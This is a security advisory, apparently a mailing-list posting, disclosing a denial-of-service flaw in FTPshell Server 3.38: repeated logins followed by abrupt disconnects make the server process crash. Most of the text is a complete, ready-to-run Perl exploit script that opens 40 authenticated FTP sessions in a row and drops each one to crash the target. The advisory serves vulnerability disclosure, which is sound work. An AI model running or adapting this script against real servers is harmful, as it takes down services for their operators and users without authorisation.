[NT] FTPshell Server DoS

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FTPshell Server DoS
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SUMMARY

" <http://www.ftpshell.com/> FTPShell server is a windows FTP service that
enables remote file downloads and uploads."

Due to improper freeing of resources allows attackers to cause the
FTPshell Server to crash.

DETAILS

Vulnerable Systems:
* FTPshell Server Version 3.38

Logging into the FTP server successfully and then abruptly closing the
connection (without using the QUIT command) more than 39 times in
succession will cause the ftpshelld.exe process to die.

Exploit:
#===== Start FTPShell_FTPDOS.pl =====
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
# FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i) = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Login \#$i\n";

Win32::Sleep(300);

print $socket "USER $ARGV[1]\r\n";

Win32::Sleep(100);

print $socket "PASS $ARGV[2]\r\n";

Win32::Sleep(100);

print $socket "PORT 127,0,0,1,18,12\r\n";

Win32::Sleep(100);

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
}
#===== Start FTPShell_FTPDOS.pl =====

ADDITIONAL INFORMATION

The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin .
The original article can be found at:
<http://reedarvin.thearvins.com/20050725-01.html>
http://reedarvin.thearvins.com/20050725-01.html

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